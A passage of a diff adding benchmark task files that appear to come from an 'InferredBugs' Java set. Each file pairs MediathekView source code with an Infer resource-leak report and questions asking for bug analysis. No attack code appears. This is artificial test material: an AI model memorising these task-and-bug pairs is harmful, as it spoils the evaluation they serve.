+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package mediathek.tool;
+
+import java.io.File;
+import java.security.CodeSource;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.ResourceBundle;
+import mediathek.Main;
+
+public class Funktionen {
+
+    public static String getPathJar() {
+        String pFilePath = "pFile";
+        File propFile = new File(pFilePath);
+        if (!propFile.exists()) {
+            try {
+                CodeSource cS = Main.class.getProtectionDomain().getCodeSource();
+                File jarFile = new File(cS.getLocation().toURI().getPath());
+                String jarDir = jarFile.getParentFile().getPath();
+                propFile = new File(jarDir + File.separator + pFilePath);
+            } catch (Exception ex) {
+            }
+        }
+        return propFile.getAbsolutePath().replace(pFilePath, "");
+    }
+
+    public static String getCompileDate() {
+        String ret = "";
+        try {
+            Date d = new Date(Main.class.getResource("Main.class").openConnection().getLastModified());
+            ret = Konstanten.PROGRAMMNAME + " " + Konstanten.VERSION + "  [Buildnummer: " + getBuildNr() + "] - Compiled: " + new SimpleDateFormat("dd.MM.yyyy, HH:mm").format(d);
+        } catch (Exception ex) {
+            Log.fehlerMeldung(569614756, "Log.getCompileDate: ", ex);
+        }
+        return ret;
+    }
+
+    public static String getBuildNr() {
+        final ResourceBundle rb;
+        String propToken = "BUILD";
+        String msg = "";
+        try {
+            ResourceBundle.clearCache();
+            rb = ResourceBundle.getBundle("version");
+            msg = rb.getString(propToken);
+        } catch (Exception e) {
+            System.err.println(e.getMessage());
+            System.err.println("Token " + propToken + " not in Propertyfile!");
+        }
+        return msg;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `javax.net.ssl.HttpsURLConnection` acquired by call to `openConnection()` at line 50 is not released after line 50.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String Funktionen.getCompileDate()
+
+### Procedure Id:
+mediathek.tool.Funktionen.getCompileDate():java.lang.String.90d55639c9f63fe0c20e6328262be471
+
+### File:
+src/mediathek/tool/Funktionen.java
+
+### Key:
+Funktionen.java|getCompileDate|RESOURCE_LEAK
+
+### Node Key:
+4ca352405b7b88367bd1ea08956d3411
+
+### Hash:
+de2c48ae06a56194cf3733dfb6a74135
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8936/instruction.md b/inferredbugs-8936/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..eba1e47a70230757fb103b4a4afb7607dbbe3ec5
--- /dev/null
+++ b/inferredbugs-8936/instruction.md
@@ -0,0 +1,233 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * MediathekView
+ * Copyright (C) 2008 W. Xaver
+ * W.Xaver[at]googlemail.com
+ * http://zdfmediathk.sourceforge.net/
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek;
+
+import java.io.IOException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import javax.swing.event.EventListenerList;
+import mediathek.controller.filme.filmeImportieren.MediathekListener;
+import mediathek.tool.GuiFunktionenProgramme;
+
+public class Log {
+
+    public static boolean playerMeldungenAus = false;
+    public static final String LOG_FEHLER = "fehler";
+    public static final String LOG_SYSTEM = "system";
+    public static final String LOG_PLAYER = "player";
+    private static EventListenerList listeners = new EventListenerList();
+    private static boolean prog = false;
+
+    public static void addAdListener(MediathekListener listener) {
+        listeners.add(MediathekListener.class, listener);
+    }
+
+    public static synchronized void startMeldungen(String classname) {
+        Log.systemMeldung("###########################################################");
+        try {
+            //Version
+            Log.systemMeldung(Konstanten.PROGRAMMNAME + " " + Konstanten.VERSION);
+            Date d = new Date(Main.class.getResource("Main.class").openConnection().getLastModified());
+            Log.systemMeldung("Compiled: " + new SimpleDateFormat("dd.MM.yyyy, HH:mm").format(d));
+        } catch (IOException ex) {
+        }
+        Log.systemMeldung("Klassenname: " + classname);
+        Log.systemMeldung("");
+        Log.systemMeldung("Programmpfad: " + GuiFunktionenProgramme.getPathJar());
+        Log.systemMeldung("Verzeichnis Einstellungen: " + Daten.getBasisVerzeichnis());
+        Log.systemMeldung("Useragent: " + Daten.getUserAgent());
+        Log.systemMeldung("");
+        long totalMem = Runtime.getRuntime().totalMemory();
+        Log.systemMeldung("totalMemory: " + totalMem / (1024L * 1024L) + " MB");
+        long maxMem = Runtime.getRuntime().maxMemory();
+        Log.systemMeldung("maxMemory: " + maxMem / (1024L * 1024L) + " MB");
+        long freeMem = Runtime.getRuntime().freeMemory();
+        Log.systemMeldung("freeMemory: " + freeMem / (1024L * 1024L) + " MB");
+        Log.systemMeldung("###########################################################");
+    }
+
+    public static synchronized void fehlerMeldung(String klasse, Exception ex) {
+        fehlermeldung(klasse, new String[]{ex.getMessage(), ""});
+    }
+
+    public static synchronized void fehlerMeldung(String klasse, Exception ex, String text) {
+        String[] str = new String[2];
+        str[0] = ex.getLocalizedMessage();
+        str[1] = text;
+        fehlermeldung(klasse, str);
+    }
+
+    public static synchronized void fehlerMeldung(String klasse, String text) {
+        fehlermeldung(klasse, new String[]{text});
+    }
+
+    public static synchronized void fehlerMeldung(String klasse, String[] text) {
+        fehlermeldung(klasse, text);
+    }
+
+    public static synchronized void systemMeldung(String[] text) {
+        meldung(text);
+    }
+
+    public static synchronized void systemMeldung(String text) {
+        meldung(new String[]{text});
+    }
+
+    public static synchronized void playerMeldung(String text) {
+        if (!playerMeldungenAus) {
+            playermeldung(new String[]{text});
+        }
+    }
+
+    public static synchronized void progress(String texte) {
+        prog = true;
+        texte += "\r";
+        System.out.print(texte);
+    }
+
+    private static void fehlermeldung(String klasse, String[] texte) {
+        if (prog) {
+            // dann brauchen wir erst eine Leerzeite um die Progresszeile zu löschen
+            System.out.print("                                                                            \r");
+            prog = false;
+        }
+        final String FEHLER = "Fehler: ";
+        final String z = "*";
+        System.out.println(z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z);
+        System.out.println(z + " " + FEHLER + klasse);
+        notifyMediathekListener(LOG_FEHLER, FEHLER + klasse);
+        for (int i = 0; i < texte.length; ++i) {
+            System.out.println(z + "           " + texte[i]);
+            notifyMediathekListener(LOG_FEHLER, texte[i]);
+        }
+        System.out.println(z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z + z);
+    }
+
+    private static void meldung(String[] texte) {
+        if (prog) {
+            // dann brauchen wir erst eine Leerzeite um die Progresszeile zu löschen
+            System.out.print("                                                                            \r");
+            prog = false;
+        }
+        final String SYSTEMMELDUNG = "";
+        final String z = ".";
+        System.out.println(z + " " + SYSTEMMELDUNG + texte[0]);
+        notifyMediathekListener(LOG_SYSTEM, texte[0]);
+        for (int i = 1; i < texte.length; ++i) {
+            System.out.println(z + " " + texte[i]);
+            notifyMediathekListener(LOG_SYSTEM, texte[i]);
+        }
+    }
+
+    private static void playermeldung(String[] texte) {
+        if (prog) {
+            // dann brauchen wir erst eine Leerzeite um die Progresszeile zu löschen
+            System.out.print("                                                                            \r");
+            prog = false;
+        }
+        final String z = "  >>";
+        System.out.println(z + " " + texte[0]);
+        notifyMediathekListener(LOG_PLAYER, texte[0]);
+        for (int i = 1; i < texte.length; ++i) {
+            System.out.println(z + " " + texte[i]);
+            notifyMediathekListener(LOG_PLAYER, texte[i]);
+        }
+    }
+
+    private static void notifyMediathekListener(String art, String zeile) {
+        for (MediathekListener l : listeners.getListeners(MediathekListener.class)) {
+            l.ping(art, zeile);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.HttpURLConnection` acquired by call to `openConnection()` at line 47 is not released after line 47.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Log.startMeldungen(String)
+
+### Procedure Id:
+mediathek.Log.startMeldungen(java.lang.String):void.3463ae8624fa0e2cf7af9508b197ab1a
+
+### File:
+src/mediathek/Log.java
+
+### Key:
+Log.java|startMeldungen|RESOURCE_LEAK
+
+### Node Key:
+4ca352405b7b88367bd1ea08956d3411
+
+### Hash:
+680be24aee568285a71e99b84a6c0cf5
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8938/instruction.md b/inferredbugs-8938/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..94f15e4d763aa1d2e5bb4dd8fe3ef07b13f26cdd
--- /dev/null
+++ b/inferredbugs-8938/instruction.md
@@ -0,0 +1,777 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * MediathekView
+ * Copyright (C) 2008 W. Xaver
+ * W.Xaver[at]googlemail.com
+ * http://zdfmediathk.sourceforge.net/
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.gui;
+
+import java.awt.Point;
+import java.awt.event.*;
+import javax.swing.*;
+import javax.swing.event.ListSelectionEvent;
+import javax.swing.event.ListSelectionListener;
+import mediathek.Daten;
+import mediathek.MediathekGui;
+import mediathek.controller.filme.filmeImportieren.MediathekListener;
+import mediathek.controller.io.starter.StartEvent;
+import mediathek.controller.io.starter.StartListener;
+import mediathek.controller.io.starter.Starts;
+import mediathek.daten.DDaten;
+import mediathek.daten.DatenDownload;
+import mediathek.daten.DatenFilm;
+import mediathek.daten.DatenPset;
+import mediathek.gui.beobachter.BeobMpanel;
+import mediathek.gui.beobachter.CellRendererDownloads;
+import mediathek.gui.dialog.DialogDatenFilm;
+import mediathek.gui.dialog.DialogEditDownload;
+import mediathek.tool.*;
+
+public class GuiDownloads extends PanelVorlage {
+
+    private DialogDatenFilm dialogDatenFilm = null;
+
+    public GuiDownloads(DDaten d) {
+        super(d);
+        initComponents();
+        dialogDatenFilm = new DialogDatenFilm(null, false, ddaten);
+        init();
+        load();
+        GuiFunktionen.spaltenDownloadSetzen(jTable1);
+    }
+    //===================================
+    //public
+    //===================================
+
+    @Override
+    public void isShown() {
+        super.isShown();
+        ddaten.mediathekGui.setToolbar(MediathekGui.ButtonDonwload);
+        ddaten.infoPanel.setIdx(InfoPanel.IDX_GUI_DOWNLOAD);
+    }
+
+    //toolbar
+    public void akualisieren() {
+        Daten.setGeaendert();
+        aufraeumen();
+        ddaten.listeDownloads.abosLoschen();
+        ddaten.listeDownloads.abosEintragen();
+        load();
+    }
+
+    public void starten() {
+        downloadAll("");
+    }
+
+    public void zurueckstellen() {
+        downloadLoeschen(false);
+    }
+
+    public void loeschen() {
+        downloadLoeschen(true);
+    }
+
+    public void aufraeumen() {
+        tabelleAufraeumen();
+    }
+
+    public void aendern() {
+        downloadAendern();
+    }
+
+    public void stoppen() {
+        filmStartenWiederholenStoppen(false /* starten */);
+    }
+
+    public void alleStoppen() {
+        stopAll();
+    }
+
+    //===================================
+    //private
+    //===================================
+    private void init() {
+        Daten.addAdListener(new MediathekListener(MediathekListener.EREIGNIS_LISTE_DOWNLOADS, GuiDownloads.class.getSimpleName()) {
+
+            @Override
+            public void ping() {
+                load();
+            }
+        });
+        jRadioButtonAbos.setForeground(GuiKonstanten.ABO_FOREGROUND);
+        jRadioButtonDownloads.setForeground(GuiKonstanten.DOWNLOAD_FOREGROUND);
+        jTable1.setDefaultRenderer(Object.class, new CellRendererDownloads(ddaten));
+        jTable1.setDefaultRenderer(Datum.class, new CellRendererDownloads(ddaten));
+        jTable1.setModel(new TModelDownload(new Object[][]{}, DatenDownload.DOWNLOAD_COLUMN_NAMES));
+        jTable1.addMouseListener(new BeobMausTabelle());
+        jTable1.getSelectionModel().addListSelectionListener(new BeobachterTableSelect1());
+        //aendern
+        ActionMap am = jTable1.getActionMap();
+        am.put("aendern", new BeobAbstractAction());
+        InputMap im = jTable1.getInputMap();
+        KeyStroke enter = KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0);
+        im.put(enter, "aendern");
+        //
+        ddaten.starterClass.addListener(new BeobachterStart());
+        jRadioButtonAlles.addActionListener(new BeobAnzeige());
+        jRadioButtonAbos.addActionListener(new BeobAnzeige());
+        jRadioButtonDownloads.addActionListener(new BeobAnzeige());
+        jCheckBoxFilter.addActionListener(new BeobMpanel(jCheckBoxFilter, jPanelFilter, "Filter"));
+    }
+
+    private void load() {
+        //Filme laden
+        boolean abo, download;
+        getSpalten(jTable1);
+        TModelDownload tModel = new TModelDownload(new Object[][]{}, DatenDownload.DOWNLOAD_COLUMN_NAMES);
+        if (jRadioButtonAlles.isSelected()) {
+            abo = true;
+            download = true;
+        } else if (jRadioButtonAbos.isSelected()) {
+            abo = true;
+            download = false;
+        } else {
+            abo = false;
+            download = true;
+        }
+        ddaten.listeDownloads.getModel(tModel, abo, download);
+        jTable1.setModel(tModel);
+        GuiFunktionen.spaltenDownloadSetzen(jTable1);
+        setSpalten(jTable1);
+        setInfo();
+    }
+
+    private void downloadAendern() {
+        int rows[] = jTable1.getSelectedRows();
+        if (rows.length > 0) {
+            for (int i = rows.length - 1; i >= 0; --i) {
+                int delRow = jTable1.convertRowIndexToModel(rows[i]);
+                String url = jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+                DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+                DatenDownload d = download.getCopy();
+                DialogEditDownload dialog = new DialogEditDownload(null, true, d);
+                dialog.setVisible(true);
+                if (dialog.ok) {
+                    download.aufMichKopieren(d);
+                    DDaten.setGeaendert();
+                    load();
+                }
+            }
+            setInfo();
+        } else {
+            new HinweisKeineAuswahl().zeigen();
+        }
+    }
+
+    private void downloadLoeschen(boolean dauerhaft) {
+        int rows[] = jTable1.getSelectedRows();
+        if (rows.length > 0) {
+            for (int i = rows.length - 1; i >= 0; --i) {
+                int delRow = jTable1.convertRowIndexToModel(rows[i]);
+                String url = jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+                DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+                if (dauerhaft) {
+                    if (download.istAbo()) {
+                        // ein Abo wird zusätzlich ins Logfile geschrieben
+                        ddaten.erledigteAbos.zeileSchreiben(download.arr[DatenDownload.DOWNLOAD_THEMA_NR],
+                                download.arr[DatenDownload.DOWNLOAD_TITEL_NR],
+                                url);
+                    }
+                    ddaten.listeDownloads.delDownloadByUrl(url);
+                }
+                ddaten.starterClass.filmLoeschen(jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+                ((TModelDownload) jTable1.getModel()).removeRow(delRow);
+            }
+            setInfo();
+        } else {
+            new HinweisKeineAuswahl().zeigen();
+        }
+    }
+
+    private void filmStartenWiederholenStoppen(boolean starten /* starten/wiederstarten oder stoppen */) {
+        // ein Film der noch keinen Starts hat wird gestartet
+        // ein Film dessen Starts schon auf fertig/fehler steht wird wieder gestartet
+        int row = jTable1.getSelectedRow();
+        if (row >= 0) {
+            int delRow = jTable1.convertRowIndexToModel(row);
+            String url = jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            Starts s = ddaten.starterClass.getStart(url);
+            if (s != null) {
+                if (starten && s.status > Starts.STATUS_RUN || !starten && s.status <= Starts.STATUS_RUN) {
+                    //daten.starterClass.delStart(url);
+                    ddaten.starterClass.filmLoeschen(url);
+                    if (s.datenDownload.istAbo()) {
+                        // bei Abos Url auch aus dem Logfile löschen, der Film ist damit wieder auf "Anfang"
+                        ddaten.erledigteAbos.urlAusLogfileLoeschen(url);
+                    }
+                }
+            }
+            if (starten) {
+                downloadAll(url);
+            }
+            setInfo();
+        } else {
+            new HinweisKeineAuswahl().zeigen();
+        }
+    }
+
+    private void stopAll() {
+        // es werden alle laufenden Downloads gestopt
+        for (int i = 0; i < jTable1.getRowCount(); ++i) {
+            int delRow = jTable1.convertRowIndexToModel(i);
+            String url = jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            Starts s = ddaten.starterClass.getStart(url);
+            if (s != null) {
+                if (s.status <= Starts.STATUS_RUN) {
+                    ddaten.starterClass.filmLoeschen(url);
+                }
+            }
+            setInfo();
+        }
+    }
+
+    private void stopWartende() {
+        // es werden alle noch nicht gestarteten Downloads gelöscht
+        for (int i = 0; i < jTable1.getRowCount(); ++i) {
+            int delRow = jTable1.convertRowIndexToModel(i);
+            String url = jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            Starts s = ddaten.starterClass.getStart(url);
+            if (s != null) {
+                if (s.status < Starts.STATUS_RUN) {
+                    ddaten.starterClass.filmLoeschen(url);
+                }
+            }
+            setInfo();
+        }
+    }
+
+    private void tabelleAufraeumen() {
+        for (int i = 0; i < jTable1.getModel().getRowCount(); ++i) {
+            int delRow = jTable1.convertRowIndexToModel(i);
+            String url = jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            Starts s = ddaten.starterClass.getStart(url);
+            if (s != null) {
+                if (s.status >= Starts.STATUS_FERTIG) {
+                    ddaten.listeDownloads.delDownloadByUrl(url);
+                    ((TModelDownload) jTable1.getModel()).removeRow(i);
+                    --i;
+                }
+            }
+        }
+        setInfo();
+        ddaten.starterClass.aufraeumen();
+    }
+
+    private boolean downloadAll(String uurl) {
+        // liefert false, wenn es nichts zu Laden gibt
+        boolean ret = false;
+        String url;
+        if (jTable1.getModel() != null) {
+            for (int i = 0; i < jTable1.getModel().getRowCount(); ++i) {
+                url = (jTable1.getModel().getValueAt(i, DatenDownload.DOWNLOAD_URL_NR).toString());
+                if (uurl.equals("") || uurl.equals(url)) {
+                    //Start erstellen und zur Liste hinzufügen
+                    DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+                    ddaten.starterClass.addStarts(new Starts(download));
+                    ret = true;
+                }
+            }
+        }
+        setInfo();
+        return ret;
+    }
+
+    private void panelUpdate() {
+        setInfo();
+        jTable1.repaint();
+        this.validate();
+    }
+
+    private void setInfo() {
+        String textLinks;
+        // Text links: Zeilen Tabelle
+        int laufen = ddaten.starterClass.getDownloadsLaufen();
+        int warten = ddaten.starterClass.getDownloadsWarten();
+        int gesamt = jTable1.getModel().getRowCount();
+        if (gesamt == 1) {
+            textLinks = "1 Download,";
+        } else {
+            textLinks = gesamt + " Downloads,";
+        }
+        textLinks += " (";
+        if (laufen == 1) {
+            textLinks += "1 läuft,";
+        } else {
+            textLinks += laufen + " laufen,";
+        }
+        if (warten == 1) {
+            textLinks += " 1 wartet";
+        } else {
+            textLinks += " " + warten + " warten";
+        }
+        textLinks += ")";
+        // Infopanel setzen
+        ddaten.infoPanel.setTextLinks(InfoPanel.IDX_GUI_DOWNLOAD, textLinks);
+    }
+
+    private void table1Select() {
+        DatenFilm aktFilm = new DatenFilm();
+        int selectedTableRow = jTable1.getSelectedRow();
+        if (selectedTableRow >= 0) {
+            int selectedModelRow = jTable1.convertRowIndexToModel(selectedTableRow);
+            DatenFilm film = Daten.listeFilme.getFilmByUrl(jTable1.getModel().getValueAt(selectedModelRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+            if (film != null) {
+                aktFilm = film;
+            }
+        }
+        dialogDatenFilm.setAktFilm(aktFilm);
+    }
+
+    /** This method is called from within the constructor to
+     * initialize the form.
+     * WARNING: Do NOT modify this code. The content of this method is
+     * always regenerated by the Form Editor.
+     */
+    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
+    private void initComponents() {
+
+        buttonGroup1 = new javax.swing.ButtonGroup();
+        jScrollPane2 = new javax.swing.JScrollPane();
+        jTable1 = new javax.swing.JTable();
+        jPanelFilter = new javax.swing.JPanel();
+        jCheckBoxFilter = new javax.swing.JCheckBox();
+        jPanelFilterInnen = new javax.swing.JPanel();
+        jRadioButtonAlles = new javax.swing.JRadioButton();
+        jRadioButtonDownloads = new javax.swing.JRadioButton();
+        jRadioButtonAbos = new javax.swing.JRadioButton();
+
+        jTable1.setAutoCreateRowSorter(true);
+        jTable1.setAutoResizeMode(javax.swing.JTable.AUTO_RESIZE_OFF);
+        jScrollPane2.setViewportView(jTable1);
+
+        jPanelFilter.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(153, 153, 153)));
+
+        jCheckBoxFilter.setBackground(new java.awt.Color(217, 217, 217));
+        jCheckBoxFilter.setFont(new java.awt.Font("Dialog", 1, 10)); // NOI18N
+        jCheckBoxFilter.setText("Filter");
+
+        buttonGroup1.add(jRadioButtonAlles);
+        jRadioButtonAlles.setSelected(true);
+        jRadioButtonAlles.setText(" alle");
+        jRadioButtonAlles.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 204, 204)));
+        jRadioButtonAlles.setBorderPainted(true);
+
+        buttonGroup1.add(jRadioButtonDownloads);
+        jRadioButtonDownloads.setText(" Downloads ");
+        jRadioButtonDownloads.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 204, 204)));
+        jRadioButtonDownloads.setBorderPainted(true);
+
+        buttonGroup1.add(jRadioButtonAbos);
+        jRadioButtonAbos.setText(" Abos ");
+        jRadioButtonAbos.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(204, 204, 204)));
+        jRadioButtonAbos.setBorderPainted(true);
+
+        javax.swing.GroupLayout jPanelFilterInnenLayout = new javax.swing.GroupLayout(jPanelFilterInnen);
+        jPanelFilterInnen.setLayout(jPanelFilterInnenLayout);
+        jPanelFilterInnenLayout.setHorizontalGroup(
+            jPanelFilterInnenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(jPanelFilterInnenLayout.createSequentialGroup()
+                .addContainerGap()
+                .addComponent(jRadioButtonAlles)
+                .addGap(18, 18, 18)
+                .addComponent(jRadioButtonDownloads)
+                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
+                .addComponent(jRadioButtonAbos)
+                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+        );
+
+        jPanelFilterInnenLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {jRadioButtonAbos, jRadioButtonAlles, jRadioButtonDownloads});
+
+        jPanelFilterInnenLayout.setVerticalGroup(
+            jPanelFilterInnenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(jPanelFilterInnenLayout.createSequentialGroup()
+                .addContainerGap()
+                .addGroup(jPanelFilterInnenLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.CENTER)
+                    .addComponent(jRadioButtonAlles)
+                    .addComponent(jRadioButtonDownloads)
+                    .addComponent(jRadioButtonAbos))
+                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+        );
+
+        javax.swing.GroupLayout jPanelFilterLayout = new javax.swing.GroupLayout(jPanelFilter);
+        jPanelFilter.setLayout(jPanelFilterLayout);
+        jPanelFilterLayout.setHorizontalGroup(
+            jPanelFilterLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addComponent(jPanelFilterInnen, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
+            .addComponent(jCheckBoxFilter, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
+        );
+        jPanelFilterLayout.setVerticalGroup(
+            jPanelFilterLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(jPanelFilterLayout.createSequentialGroup()
+                .addComponent(jCheckBoxFilter)
+                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
+                .addComponent(jPanelFilterInnen, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
+        );
+
+        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
+        this.setLayout(layout);
+        layout.setHorizontalGroup(
+            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(layout.createSequentialGroup()
+                .addContainerGap()
+                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+                    .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 670, Short.MAX_VALUE)
+                    .addComponent(jPanelFilter, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+                .addContainerGap())
+        );
+        layout.setVerticalGroup(
+            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
+            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
+                .addContainerGap()
+                .addComponent(jPanelFilter, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
+                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
+                .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 357, Short.MAX_VALUE)
+                .addContainerGap())
+        );
+    }// </editor-fold>//GEN-END:initComponents
+    // Variables declaration - do not modify//GEN-BEGIN:variables
+    private javax.swing.ButtonGroup buttonGroup1;
+    private javax.swing.JCheckBox jCheckBoxFilter;
+    private javax.swing.JPanel jPanelFilter;
+    private javax.swing.JPanel jPanelFilterInnen;
+    private javax.swing.JRadioButton jRadioButtonAbos;
+    private javax.swing.JRadioButton jRadioButtonAlles;
+    private javax.swing.JRadioButton jRadioButtonDownloads;
+    private javax.swing.JScrollPane jScrollPane2;
+    private javax.swing.JTable jTable1;
+    // End of variables declaration//GEN-END:variables
+
+    private class BeobachterStart implements StartListener {
+
+        @Override
+        public void starter(StartEvent ev) {
+            panelUpdate();
+        }
+    }
+
+    private class BeobachterTableSelect1 implements ListSelectionListener {
+
+        public int selectedModelRow = -1;
+
+        @Override
+        public void valueChanged(ListSelectionEvent event) {
+            if (!event.getValueIsAdjusting()) {
+                table1Select();
+            }
+        }
+    }
+
+    public class BeobMausTabelle extends MouseAdapter {
+
+        private Point p;
+
+        public BeobMausTabelle() {
+        }
+
+        @Override
+        public void mouseClicked(MouseEvent arg0) {
+            if (arg0.getButton() == MouseEvent.BUTTON1) {
+                if (arg0.getClickCount() > 1) {
+                    downloadAendern();
+                }
+            } else if (arg0.getButton() == MouseEvent.BUTTON3) {
+                showMenu(arg0);
+            }
+        }
+
+        private void showMenu(MouseEvent evt) {
+            p = evt.getPoint();
+            int nr = jTable1.rowAtPoint(p);
+            if (nr >= 0) {
+                jTable1.setRowSelectionInterval(nr, nr);
+            }
+            JPopupMenu menu = new JPopupMenu();
+            //Film vorziehen
+            int row = jTable1.getSelectedRow();
+            boolean wartenOderLaufen = false;
+            if (row >= 0) {
+                int delRow = jTable1.convertRowIndexToModel(row);
